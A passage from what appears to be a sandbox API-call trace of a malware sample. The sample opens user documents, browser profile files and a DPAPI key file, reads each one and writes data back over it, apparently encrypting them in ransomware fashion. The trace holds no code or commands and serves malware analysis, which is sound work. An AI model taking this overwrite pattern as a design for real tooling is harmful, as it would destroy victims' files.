lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.015] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8347 [0068.015] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.020] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8347 [0068.020] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.020] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.020] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.020] CloseHandle (hObject=0x1b0) returned 1 [0068.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Lczok9_ORAkzNpp.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lczok9_orakznpp.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1815a [0068.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.021] ReleaseMutex (hMutex=0x128) returned 1 [0068.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lczok9_ORAkzNpp.ppt", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0068.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lczok9_ORAkzNpp.ppt", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lczok9_ORAkzNpp.ppt", lpUsedDefaultChar=0x0) returned 19 [0068.021] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.022] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1715a [0068.022] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.022] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1715a [0068.023] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.023] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.023] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.023] CloseHandle (hObject=0x1b0) returned 1 [0068.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.024] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.024] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1d4 [0068.024] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] ReleaseMutex (hMutex=0x128) returned 1 [0068.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="102a7bc8-3f85-4bb4-840a-38257d2965d2", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0068.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="102a7bc8-3f85-4bb4-840a-38257d2965d2", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpUsedDefaultChar=0x0) returned 36 [0068.024] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x340f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0068.025] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.025] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0068.025] CloseHandle (hObject=0x1b0) returned 1 [0068.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xbdb [0068.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.027] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.027] ReleaseMutex (hMutex=0x128) returned 1 [0068.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bookmarks-2017-06-16_5.json", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0068.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bookmarks-2017-06-16_5.json", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bookmarks-2017-06-16_5.json", lpUsedDefaultChar=0x0) returned 27 [0068.027] ReadFile (in: hFile=0x1b0, lpBuffer=0x2628b38, nNumberOfBytesToRead=0xbdb, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2628b38*, lpNumberOfBytesRead=0x340f2bc*=0xbdb, lpOverlapped=0x0) returned 1 [0068.029] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.029] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1163, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f2d0*=0x1163, lpOverlapped=0x0) returned 1 [0068.029] CloseHandle (hObject=0x1b0) returned 1 [0068.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6f [0068.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.030] ReleaseMutex (hMutex=0x128) returned 1 [0068.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="profiles.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0068.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="profiles.ini", cchWideChar=12, lpMultiByteStr=0x1e6340c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profiles.ini", lpUsedDefaultChar=0x0) returned 12 [0068.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x264c638, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x264c638*, lpNumberOfBytesRead=0x340f2bc*=0x6f, lpOverlapped=0x0) returned 1 [0068.031] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.031] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5f7, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x5f7, lpOverlapped=0x0) returned 1 [0068.031] CloseHandle (hObject=0x1b0) returned 1 [0068.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\WhXeDYvOB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\whxedyvob.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.031] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.032] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x8630 [0068.032] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.032] ReleaseMutex (hMutex=0x128) returned 1 [0068.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhXeDYvOB.wav", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhXeDYvOB.wav", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WhXeDYvOB.wav", lpUsedDefaultChar=0x0) returned 13 [0068.032] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.033] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7630 [0068.033] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.033] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7630 [0068.033] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.033] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.033] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.033] CloseHandle (hObject=0x1b0) returned 1 [0068.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2_qVXIpf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2_qvxipf.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x81a1 [0068.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.034] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.034] ReleaseMutex (hMutex=0x128) returned 1 [0068.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2_qVXIpf.pptx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2_qVXIpf.pptx", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2_qVXIpf.pptx", lpUsedDefaultChar=0x0) returned 13 [0068.034] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.035] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x71a1 [0068.035] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.035] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x71a1 [0068.035] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.036] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.036] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.036] CloseHandle (hObject=0x1b0) returned 1 [0068.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MFPH 6_XsCHmyZ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mfph 6_xschmyz.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.036] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.036] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x15c27 [0068.037] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.037] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.037] ReleaseMutex (hMutex=0x128) returned 1 [0068.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MFPH 6_XsCHmyZ.csv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0068.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MFPH 6_XsCHmyZ.csv", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MFPH 6_XsCHmyZ.csv", lpUsedDefaultChar=0x0) returned 18 [0068.037] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14c27 [0068.038] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14c27 [0068.038] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.039] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.039] CloseHandle (hObject=0x1b0) returned 1 [0068.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x192 [0068.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.040] ReleaseMutex (hMutex=0x128) returned 1 [0068.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0068.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0068.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x192, lpOverlapped=0x0) returned 1 [0068.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.041] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x71a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x71a, lpOverlapped=0x0) returned 1 [0068.041] CloseHandle (hObject=0x1b0) returned 1 [0068.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.042] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.042] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x85 [0068.042] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 